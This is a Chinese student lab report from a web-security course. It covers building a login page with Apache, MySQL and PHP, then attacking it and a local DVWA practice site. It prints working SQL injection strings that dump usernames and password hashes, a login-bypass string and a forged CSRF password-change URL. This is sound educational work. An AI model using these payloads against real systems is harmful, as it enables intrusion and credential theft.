20222302 2024-2025-1 《网络与系统攻防技术》实验八实验报告

1.实验内容

(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。

2.实验过程

2.1 Web前端HTML

2.1.1 Apache的安装和启停

输入命令apt-get install apache2安装apache

输入命令sudo service apache2 start启动apache服务

输入命令systemctl status apache2查看apache服务状态,可以看到apache正常运行

输入命令netstat -aptn可以看到apache占用了80端口

浏览器打开127.0.0.1可以看到apache的默认网页,启动成功

输入命令systemctl stop apache2关闭apache服务

再输入命令systemctl status apache2查看apache服务状态,可以看到apache停止运行,关闭成功

2.1.2 理解HTML,理解表单,理解GET与POST方法

(1)HTML(超文本标记语言)

HTML是用于构建网页的标准标记语言。它通过标签(Tags)和属性(Attributes)来描述网页的结构和内容。每个HTML文档通常由一个元素组成,包含头部信息()和网页主体()。

(2)HTML表单(Forms)

HTML表单是用来收集用户输入的一个重要元素。表单通常包含多个表单控件,如文本框、单选按钮、复选框、下拉菜单等,用户通过这些控件填写信息。

(3)GET与POST方法

在Web开发中,GET和POST是两种最常用的HTTP请求方法,它们用于从客户端(浏览器)向服务器发送数据。

①GET请求
GET是HTTP协议中的一种请求方法。当客户端(如浏览器)向服务器发送GET请求时,它会将请求参数附加在URL后面。
GET请求主要用于从服务器获取资源。比如,当浏览器请求一个网页(HTML文件)、一张图片、一个样式表(CSS文件)或者一段脚本(JavaScript文件)时,通常会使用GET请求。这些资源是服务器根据客户端请求的URL来定位并返回的。
优点:简单直观:由于参数直接在URL中显示,所以对于简单的查询操作,如获取文章列表、搜索结果等,开发人员和用户都能很容易地理解请求的意图和参数内容。
可被缓存:GET请求的结果可以被浏览器和一些中间代理服务器缓存。这意味着如果用户多次请求相同的资源(如一个经常访问的网页),浏览器可以直接从缓存中获取数据,而不必每次都向服务器发送请求,从而提高了访问速度和性能。
可添加书签:因为GET请求的完整信息都在URL中,用户可以将包含GET请求的URL添加到书签中。当用户再次访问书签时,浏览器会发送相同的GET请求来获取资源。
缺点:安全性较低:由于请求参数暴露在URL中,敏感信息(如密码、账号等)不应该通过GET请求传递。
参数长度有限制:不同的浏览器和服务器对GET请求的URL长度有一定的限制。虽然这个限制没有一个固定的标准,但一般来说,过长的URL可能会导致请求失败。这就限制了GET请求能够传递的参数数量和长度。例如,当需要传递大量的数据(如一个很长的文本内容)作为请求参数时,GET请求可能无法满足需求。
不适合数据修改操作:GET请求主要用于获取数据,按照HTTP协议的规范,它不应该用于修改服务器上的数据。如果使用GET请求来修改数据,不符合语义规范,可能会导致一些不可预测的后果,并且在一些严格遵循RESTful架构的应用中是不被允许的。

②POST请求
POST也是HTTP协议中的一种请求方法。与GET请求不同,POST请求将数据作为请求体的一部分发送给服务器,而不是附加在URL上。
POST请求主要用于向服务器提交数据,这些数据可以用于创建新的资源、更新现有资源或者执行一些需要在服务器端进行处理的操作。
优点:安全性相对较高:因为POST请求的数据是放在请求体中,而不是在URL上,所以对于敏感信息(如用户登录密码、信用卡信息等)的传输相对更安全。
参数长度限制较宽松:POST请求对数据长度的限制通常比GET请求宽松得多。它可以发送大量的数据,这使得它适合用于提交复杂的数据结构,如表单数据(包含多个字段)、文件上传等操作。
适合数据修改操作:POST请求符合HTTP协议用于修改服务器资源的语义规范。无论是创建新的资源(如在数据库中插入一条新记录)、更新现有资源(如修改用户的个人信息)还是删除资源(如删除购物车中的商品),POST请求都可以很好地胜任这些操作。
缺点:不可缓存性:一般情况下,POST请求的结果不会被浏览器或中间代理服务器缓存。这是因为POST请求通常会对服务器上的数据进行修改操作,每次请求的结果可能因数据的变化而不同。例如,用户每次在一个论坛上发布新帖子,由于帖子内容是不同的,所以不适合缓存,这可能会导致每次请求都需要向服务器发送完整的请求,增加了服务器的负载和网络流量。
不直观:相比于GET请求,POST请求的数据在请求体中,开发人员和用户不能直接从URL中看到请求的参数内容。这在调试和排查问题时可能会比较麻烦,需要通过查看请求体的内容来确定发送的数据是否正确。

2.1.3 编写一个含有表单的HTML

输入命令cd /var/www/html切换目录,再输入命令touch 20222302.html创建一个html文件

输入命令vim 20222302.html对html文件进行编辑

将代码粘贴到文件中

用浏览器打开20222302.html

2.2 Web前端javascipt

2.2.1 理解JavaScript的基本功能,理解DOM

(1)JavaScript的基本功能
JavaScript是一种广泛用于Web开发的编程语言,主要用于客户端(浏览器端)脚本编程。它的基本功能包括:

动态内容操作:JavaScript可以在页面加载后动态更新网页内容,如修改HTML元素、创建新的元素、删除现有元素等。
事件处理:JavaScript可以响应用户的操作(如点击按钮、键盘输入、鼠标移动等),通过事件监听器(event listener)触发相应的代码。
表单验证:可以通过JavaScript在表单提交之前验证用户输入的内容,确保数据的合法性和完整性。
与服务器交互:通过AJAX(Asynchronous JavaScript and XML),JavaScript可以与服务器进行异步数据交互,不需要重新加载整个页面。
数据操作:JavaScript支持各种数据类型(如字符串、数字、数组、对象等)的操作,可以进行各种算术、逻辑、字符串等计算。

(2)DOM(文档对象模型)
DOM(Document Object Model)是HTML和XML文档的编程接口,它提供了一种结构化的方式来访问和操作页面的内容、结构和样式。DOM将网页中的HTML元素和属性抽象为对象,JavaScript可以通过DOM来访问这些对象,并进行操作。

DOM的核心概念:
节点(Node):DOM将网页内容表示为一个节点树。每个HTML元素、属性、文本都被视为一个节点。节点类型包括元素节点、文本节点、属性节点等。
元素节点(Element Node):代表HTML标签元素。
文本节点(Text Node):包含HTML元素之间的文本内容。
属性节点(Attribute Node):代表HTML标签的属性,如id、class等。

常见DOM操作:
获取元素:通过getElementById()、getElementsByClassName()、querySelector()等方法获取页面上的元素。
修改内容:通过innerHTML、textContent等属性来改变元素的内容。
修改样式:通过style属性动态修改元素的CSS样式。
添加/删除元素:可以使用appendChild()、removeChild()等方法添加或删除元素。

DOM的重要功能:
动态更新页面内容:通过JavaScript和DOM,可以改变页面的内容,而无需重新加载页面。
交互性增强:JavaScript和DOM使得页面可以响应用户的操作,增强了网页的交互性和动态性。
修改页面结构和样式:通过DOM,开发者可以动态地添加、删除、修改页面中的元素,以及修改元素的CSS样式。

2.2.2 在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“welcome+输入的用户名”。

修改20222302.html的代码

新建welcome.html用来回显“welcome+输入的用户名”。
修改文件内容


重新用浏览器打开20222302.html
只输入用户名

只输入密码

正确输入后

2.2.3 尝试注入攻击:利用回显用户名注入HTML及JavaScript

在用户名框中输入即可完成sql注入攻击

2.3 Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表

输入命令service mysql start启动MySQL
再输入命令systemctl status mysql查看MySQL状态

输入命令mysql -u root -p使用root登录,密码为空

create database 20222302liuzeyi; 创建一个名为20222302liuzeyi的数据库

create user 'liuzeyi'@'%' IDENTIFIED BY '20222302';创建一个名为liuzeyi的用户,密码为20222302,可以从任意主机登录

修改用户liuzeyi密码为2302:alter user 'liuzeyi'@'%' identified by'2302';

切换到数据库20222302liuzeyi :use 20222302liuzeyi;

创建一个名为user_login的表,包含字段username和password:create table user_login(username VARCHAR(100),password VARCHAR(100));

向表里插入数据:insert into user_login values('20222302','liuzeyi' );

查看表中信息:select *from user_login;

2.4 Web后端:编写PHP网页,连接数据库,进行用户认证

创建php文件并将代码复制到文件中


将20222302.html中的 action 属性指向处理登录验证的 PHP 文件

用浏览器打开20222302.html
输入正确的用户名和密码

输入错误的用户名和密码,提示用户名错误

2.5 最简单的SQL注入,XSS攻击测试

2.5.1 SQL注入

输入用户名为' or 1=1#,这是一个永真式,因此不管输入密码为什么都会登陆成功。

2.5.2 XSS攻击


2.6 安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。

2.6.1 安装dvwa平台

参考下载教程链接:https://blog.csdn.net/CheatMyself/article/details/139574116
安装完成后在浏览器输入localhost/dvwa/setup.php,出现下面界面:

2.6.2 完成SQL注入、XSS、CSRF攻击

2.6.2.1 SQL injection

先判断是否可以sql注入,输入1' or '1'='1

发现可以进行SQL注入

下面获取数据库:'union select 1,database()#

获得数据库名为dvwa

获取表名:'union select 1,group_concat(table_name)COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

获取表名为guestbook,user

接下来获取列名:'union select 1,group_concat(column_name)COLLATE utf8_general_ci from information_schema.columns where table_name='users'#

进行数据下载:1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(user,password) from users #

得到数据admine10adc3949ba59abbe56e057f20f883e,gordonbe99a18c428cb38d5f260853678922e03
对齐
admin e10adc3949ba59abbe56e057f20f883e
gordonb e99a18c428cb38d5f260853678922e03
将后面密码放到md5解密分别为password和abc123
使用gordonb和abc123进行登录

发现登录成功

2.6.2.2 XSS(DOM)

点击select

在网址直接输入


显示成功

2.6.2.3 XSS(reflected)

在输入框输入


显示成功

2.6.2.4 XSS (stored)

name有输入长度限制且不能为空

所以在massage中输入


显示成功

2.6.2.5 CSRF

先输入一个不一致的密码,观察页面变化

可以看到url变化:http://localhost/dvwa/vulnerabilities/csrf/?password_new=ssdddd&password_conf=wwwwwww&Change=Change#
构造url:http://localhost/dvwa/vulnerabilities/csrf/?password_new=20222302&password_conf=20222302&Change=Change#
执行url后显示Password Changed

3.问题及解决方案

问题1:出现PHP module gd: Missing - Only an issue if you want to play with captchas报错
问题1解决方案:
apt install php-gd安装php-gd
systemctl restart apache2重启Apache2服务即可
刷新界面,问题成功解决
问题2:出现reCAPTCHA key: Missing报错
问题2解决方案:
cd /var/www/html/dvwa/config进入目录
vim config.inc.php编辑文件
将这两串key输入进去
public:6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb
private:6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K
systemctl restart apache2重启Apache2服务即可
问题3:搭建DVWA靶场完成后进入页面提示ERROR
问题3解决方案:参考教程https://blog.csdn.net/CheatMyself/article/details/139574116在phpstudy中搭建DVWA环境。

4.学习感悟、思考等

本次实验内容较多,同时步骤也比较繁琐,因此耗费时间很长。在本次实验前没有使用过DVWA靶场,因此在实验中进行搭建。最初在kali中搭建但是出现了各种各样的问题,在反复的解决后发现此路行不通,因此在主机上通过在phpstudy环境下进行DVWA靶场搭建,相较kali上搭建要简单得多。
通过本次实验,我学会了基本的sql注入攻击和xss攻击,掌握了攻击的原理。我理解了JavaScript的基本功能,并能够独立完成JavaScript的应用。
本次实验让我更加深刻的领悟到攻击的简单易行,同时也察觉到维护网络安全任重而道远。未来,我将继续努力提高自己的技术水平,同时也将更加注重维护好自己及他人的信息安全。

posted @ 2024-12-07 13:05  北河三1  阅读(4)  评论(0编辑  收藏  举报